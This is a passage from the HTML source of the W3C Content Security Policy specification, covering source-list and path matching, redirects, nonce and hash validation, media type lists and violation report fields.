Otherwise, return <em>does not match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#host_source\">host-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-host\">host</a> is <code>null</code>,\n              return <em>does not match</em>.\n            \n         \n            \n         <li>\n              Let <var>url-scheme</var>, <var>url-host</var>, and\n              <var>url-port</var> be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>, <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-host\">host</a>, and\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a> of <var>url</var>’s origin, respectively.\n\n\n          <p class=\"note\" role=\"note\">Note: If <var>url</var> doesn’t specify a port, then its origin’s\n              port will be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#default-port\">default port</a> for <var>url</var>’s\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>.</p>\n          \n            \n         \n            \n         <li>\n              Let <var>url-path-list</var> be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-path\">path</a> of <var>url</var>.\n            \n         \n            \n         <li>\n              If the source expression has a <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>\n              that is not a case insensitive match for <var>url-scheme</var>,\n              then return <em>does not match</em>.\n            \n         \n            \n         <li>\n              If the source expression does <strong>not</strong> have a\n              scheme, return <em>does not match</em> if any of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  the scheme of the protected resource’s URL is a case\n                  insensitive match for <code>HTTP</code>, and\n                  <var>url-scheme</var> is <strong>not</strong> a case\n                  insensitive match for either <code>HTTP</code> or\n                  <code>HTTPS</code>\n                \n           \n                \n           <li>\n                  the scheme of the protected resource’s URL is\n                  <strong>not</strong> a case insensitive match for\n                  <code>HTTP</code>, and <var>url-scheme</var> is\n                  <strong>not</strong> a case insensitive match\n                  for the scheme of the protected resource’s URL.\n                \n           \n              \n          </ol>\n          \n            \n         \n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is an U+002A ASTERISK character\n              (<code>*</code>) and the remaining characters, including the\n              leading U+002E FULL STOP character (<code>.</code>), are not a\n              case insensitive match for the rightmost characters of\n              <var>url-host</var>, then return <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is <em>not</em> an U+002A ASTERISK\n              character (<code>*</code>) and <var>url-host</var> is not a\n              case insensitive match for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code>, then return <em>does not\n              match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression’s <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> matches\n              the <code><a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">IPv4address</a></code> production from <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[RFC3986]</a>,\n              and is not <code>127.0.0.1</code>, or is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-ipv6\">IPv6 address</a>,\n              return <em>does not match</em>.\n\n\n          <p class=\"note\" role=\"note\">Note: A future version of this specification may allow literal\n              IPv6 and IPv4 addresses, depending on usage and demand. Given the\n              weak security properties of IP addresses in relation to named\n              hosts, however, authors are encouraged to prefer the latter\n              whenever possible.</p>\n          \n            \n         \n\n            \n         <li>\n              If the source expression does <strong>not</strong> contain\n              a <code>port-part</code> and <var>url-port</var> is not the\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#default-port\">default port</a> for <var>url-scheme</var>, then return\n              <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression does contain a <code>port-part</code>,\n              then return <em>does not match</em> if both of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  contain an U+002A ASTERISK character (<code>*</code>)\n                \n           \n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  represent the same number as <var>url-port</var>\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              If the source expression contains a non-empty\n              <code><a data-link-type=\"dfn\" href=\"#path_part\">path-part</a></code>, and the URL is <em>not</em> the\n              result of a redirect, then:\n\n              \n          <ol>\n                \n           <li>\n                  Let <var>exact-match</var> be <code>true</code> if the final\n                  character of <var>path-part</var> is not the U+002F SOLIDUS\n                  character (<code>/</code>), and <code>false</code> otherwise.\n                \n           \n\n                \n           <li>\n                  Let <var>source-expression-path-list</var> be the result of\n                  splitting <var>path-part</var> on the U+002F SOLIDUS character\n                  (<code>/</code>).\n                \n           \n\n                \n           <li>\n                  If <var>source-expression-path-list</var>’s length is greater\n                  than <var>url-path-list</var>’s length, return <em>does not\n                  match</em>.\n                \n           \n\n                \n           <li>\n                  For each <var>entry</var> in\n                  <var>source-expression-path-list</var>:\n\n                  \n            <ol>\n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-decode\">Percent decode</a> <var>entry</var>.\n                    \n             \n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-decode\">Percent decode</a> the first item in\n                      <var>url-path-list</var>.\n                    \n             \n                    \n             <li>\n                      If <var>entry</var> is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                      match</a> for the first item in <var>url-path-list</var>,\n                      return <em>does not match</em>.\n                    \n             \n                    \n             <li>\n                      Pop the first item in <var>url-path-list</var> off the\n                      list.\n                    \n             \n                  \n            </ol>\n            \n                \n           \n\n                \n           <li>\n                  If <var>exact-match</var> is <code>true</code>, and\n                  <var>url-path-list</var> is not empty, return <em>does not\n                  match</em>.\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          If the source expression is a case insensitive match for\n          <code>'self'</code> (including the quotation marks), then:\n\n          \n        <ol>\n            \n         <li>\n              Return <em>does match</em> if <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-origin\">the\n              origin of <var>url</var></a> matches\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-origin\">the origin of <var>protected\n              resource</var>’s URL</a>.\n\n\n          <p class=\"note\" role=\"note\">Note: This includes IP addresses. That is, a document at\n              <code>https://111.111.111.111/</code> with a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> of\n              <code>img-src 'self'</code> can load the image\n              <code>https://111.111.111.111/image.png</code>, as the origins\n              match.</p>\n          \n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          Otherwise, return <em>does not match</em>.\n        \n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: This algorithm treats the URLs <code>https://example.com/</code>\n      and <code>https://example.com./</code> as <em>non-matching</em>. This\n      is consistent with browser behavior which treats documents served from\n      these URLs as existing in distinct origins.</p>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-list\">match a source list<a class=\"self-link\" href=\"#match-a-source-list\"></a></dfn> for\n      <var>protected resource</var> if the following conditions are met:</p>\n      \n\n      \n      <ol>\n        \n       <li>\n          At least one source expression in the set of source expressions\n          obtained by <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the source\n          list</a> <a data-link-type=\"dfn\" href=\"#match-a-source-expression\">matches <var>url</var>\n          for <var>protected resource</var></a>.\n        \n       \n        \n       <li>\n          At least one of the following is true:\n\n          \n        <ol>\n            \n         <li>\n              <var>url</var> is <strong>not</strong> the result of a redirect.\n\n\n          <p class=\"note\" role=\"note\">Note: This is a bit hand-wavey; in the future, CSP will cleanly\n              integrate with <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a>, which will allow us to clarify the\n              details.</p>\n          \n            \n         \n            \n         <li>\n              The set of source expressions obtained by\n              <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the source list</a>\n              contains the source expression <code>'unsafe-redirect'</code>.\n            \n         \n            \n         <li>\n              The source list is the U+002A ASTERISK character (<code>*</code>).\n            \n         \n          \n        </ol>\n        \n        \n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: No URLs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.</p>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.1\" id=\"source-list-guid-matching\"><span class=\"secno\">4.2.2.1. </span><span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span><a class=\"self-link\" href=\"#source-list-guid-matching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>As defined above, special URL schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URLs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URLs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URLs is equivalent to <code>unsafe-eval</code>.</p>\n       \n      \n      </section>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.2\" id=\"source-list-path-patching\"><span class=\"secno\">4.2.2.2. </span><span class=\"content\">Path Matching</span><a class=\"self-link\" href=\"#source-list-path-patching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:</p>\n       \n\n        \n       <ol>\n          \n        <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.\n        \n\n          \n        <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.\n        \n\n          \n        <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.\n        \n\n          \n        <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.\n        \n        \n       </ol>\n       \n\n\n       <p class=\"note\" role=\"note\">Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file</code> matches all of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.</p>\n       \n      \n      </section>\n      \n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.3\" id=\"source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3. </span><span class=\"content\">Paths and Redirects</span><a class=\"self-link\" href=\"#source-list-paths-and-redirects\"></a></h5>\n       \n\n\n       <p>To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov’s\n        <a href=\"http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a> example.com not-example.com/path</code>:</p>\n       \n\n        \n       <ul>\n          \n        <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn’t match the policy.\n        \n          \n        <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.\n        \n          \n        <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.\n        \n        \n       </ul>\n       \n\n\n       <p>This restriction reduces the granularity of a document’s\n        policy when redirects are in play, which isn’t wonderful, but\n        given that we certainly don’t want to allow brute-forcing paths\n        after redirects, it seems a reasonable compromise.</p>\n       \n\n\n       <p>The relatively long thread\n        <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.</p>\n       \n      \n      </section>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.3\" id=\"script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3. </span><span class=\"content\">\n        The <code>nonce</code> attribute\n      </span><a class=\"self-link\" href=\"#script-src-the-nonce-attribute\"></a></h4>\n      \n\n\n      <p>Nonce sources require a new <code>nonce</code> attribute to be added to\n      both <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements.</p>\n      \n\n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-global-name=\"\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-global-name=\"HTMLScriptElement<interface>/nonce<attribute>\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLScriptElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlscriptelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlscriptelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"script\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-script-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-script-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-global-name=\"\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-global-name=\"HTMLStyleElement<interface>/nonce<attribute>\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLStyleElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlstyleelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlstyleelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"style\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-style-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-style-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n\n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.4\" id=\"source-list-valid-nonces\"><span class=\"secno\">4.2.4. </span><span class=\"content\">Valid Nonces</span><a class=\"self-link\" href=\"#source-list-valid-nonces\"></a></h4>\n      \n\n\n      <p>An element has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-nonce\">valid nonce<a class=\"self-link\" href=\"#valid-nonce\"></a></dfn> for a <var>set of source\n      expressions</var> if the value of the element’s <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute\n      after <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">stripping leading\n      and trailing whitespace</a> is a case-sensitive match for the\n      <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> component of at least one\n      <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression in <var>set of source\n      expressions</var>.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.5\" id=\"source-list-valid-hashes\"><span class=\"secno\">4.2.5. </span><span class=\"content\">Valid Hashes</span><a class=\"self-link\" href=\"#source-list-valid-hashes\"></a></h4>\n      \n\n\n      <p>An <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"elements-content\">element’s content<a class=\"self-link\" href=\"#elements-content\"></a></dfn> is <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\">the script block’s\n      source</a> for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements, or the value of the element’s\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#dom-node-textcontent\">textContent</a></code> IDL attribute for non-<code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements such as\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code>.</p>\n      \n\n\n      <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digest-of-elements-content\">digest of <var>element</var>’s content<a class=\"self-link\" href=\"#digest-of-elements-content\"></a></dfn> for is the result\n      of applying an <var>algorithm</var> to the <a data-link-type=\"dfn\" href=\"#elements-content\">element’s content</a>.</p>\n      \n\n\n      <p>To determine whether <var>element</var> has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-hash\">valid hash<a class=\"self-link\" href=\"#valid-hash\"></a></dfn> for\n      a <var>set of source expressions</var>, execute the following steps:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let <var>hashes</var> be a list of all\n        <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> expressions in <var>set of source\n        expressions</var>.\n       \n\n        \n       <li>For each <var>hash</var> in <var>hashes</var>:\n          \n        <ol>\n            \n         <li>Let <var>algorithm</var> be:\n              \n          <ul>\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_256\">SHA-256</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha256\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_384\">SHA-384</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha384\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_512\">SHA-512</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha512\"\n           \n              \n          </ul>\n          \n            \n         \n\n            \n         <li>Let <var>expected</var> be the <code><a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a></code>\n            component of <var>hash</var>.\n         \n\n            \n         <li>Let <var>actual</var> be the\n            <a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64\n            encoding</a> of the binary <a data-link-type=\"dfn\" href=\"#digest-of-elements-content\">digest of <var>element</var>’s\n            content</a> using the <var>algorithm</var> algorithm.\n         \n\n            \n         <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.\n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>Return <strong>false</strong>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.3\" id=\"media-type-list-syntax\"><span class=\"secno\">4.3. </span><span class=\"content\">Media Type List Syntax</span><a class=\"self-link\" href=\"#media-type-list-syntax\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a></code> directive uses a value consisting\n    of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type-list\">media type list<a class=\"self-link\" href=\"#media-type-list\"></a></dfn>.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type\">media type<a class=\"self-link\" href=\"#media-type\"></a></dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in the protected resource.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type_list\">media-type-list<a class=\"self-link\" href=\"#media_type_list\"></a></dfn>   = <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type\">media-type<a class=\"self-link\" href=\"#media_type\"></a></dfn>        = &lt;type from RFC 2045> \"/\" &lt;subtype from RFC 2045>\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.1\" id=\"media-type-list-parsing\"><span class=\"secno\">4.3.1. </span><span class=\"content\">Parsing</span><a class=\"self-link\" href=\"#media-type-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-media-type-list\">parse a media type list<a class=\"self-link\" href=\"#parse-a-media-type-list\"></a></dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of media types</var> be the empty set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a data-link-type=\"dfn\" href=\"#media_type\">media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.\n       \n\n        \n       <li>Return the <var>set of media types</var>.\n       \n      \n      </ol>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.2\" id=\"media-type-list-matching\"><span class=\"secno\">4.3.2. </span><span class=\"content\">Matching</span><a class=\"self-link\" href=\"#media-type-list-matching\"></a></h4>\n      \n\n\n      <p>A media type <dfn data-dfn-type=\"dfn\" data-lt=\"match a media type list\" data-noexport=\"\" id=\"match-a-media-type-list\">matches a media type\n      list<a class=\"self-link\" href=\"#match-a-media-type-list\"></a></dfn> if, and only if, the media type is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n      case-insensitive match</a> for at least one token in the set of media\n      types obtained by <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the media\n      type list</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.4\" id=\"violation-reports\"><span class=\"secno\">4.4. </span><span class=\"content\">Reporting</span><a class=\"self-link\" href=\"#violation-reports\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"strip uri for reporting|stripped for reporting\" data-noexport=\"\" id=\"strip-uri-for-reporting\">strip\n    <var>uri</var> for reporting<a class=\"self-link\" href=\"#strip-uri-for-reporting\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>’s scheme.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is not the same as the\n      <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#ascii-serialization-of-an-origin\">ASCII\n      serialization of <var>uri</var>’s origin</a>.\n      \n\n      \n      <li>Return <var>uri</var>, with any <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-url-fragment\">fragment</a>\n      component removed.\n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"generate a violation report object|generating a violation report object\" data-noexport=\"\" id=\"generate-a-violation-report-object\">generate a violation report object<a class=\"self-link\" href=\"#generate-a-violation-report-object\"></a></dfn>,\n    the user agent MUST use an algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-blocked-uri\"><a class=\"self-link\" href=\"#violation-report-blocked-uri\"></a>blocked-uri\n        \n          \n        <dd>The originally requested URL of the resource that was\n          prevented from loading, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>,\n          or the empty string if the resource has no URL (inline script and\n          inline style, for example).\n        \n\n          \n        <dt id=\"violation-report-document-uri\"><a class=\"self-link\" href=\"#violation-report-document-uri\"></a>document-uri\n        \n          \n        <dd>The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#the-document's-address\">address</a>\n          of the protected resource, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-effective-directive\"><a class=\"self-link\" href=\"#violation-report-effective-directive\"></a>effective-directive\n        \n          \n        <dd>The name of the policy directive that was violated. This will\n          contain the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code>\n          directive.\n        \n\n          \n        <dt id=\"violation-report-original-policy\"><a class=\"self-link\" href=\"#violation-report-original-policy\"></a>original-policy\n        \n          \n        <dd>The original <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>, as received by the user agent.\n        \n\n          \n        <dt id=\"violation-report-referrer\"><a class=\"self-link\" href=\"#violation-report-referrer\"></a>referrer\n        \n          \n        <dd>The <a class=\"idl-code\" data-link-type=\"attribute\" href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.\n        \n\n          \n        <dt id=\"violation-report-status-code\"><a class=\"self-link\" href=\"#violation-report-status-code\"></a>status-code\n        \n          \n        <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.\n        \n\n          \n        <dt id=\"violation-report-violated-directive\"><a class=\"self-link\" href=\"#violation-report-violated-directive\"></a>violated-directive\n        \n          \n        <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when enforcing\n          a directive.\n        \n        \n       </dl>\n       \n      \n      \n\n      \n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        \n       <dl>\n          \n        <dt 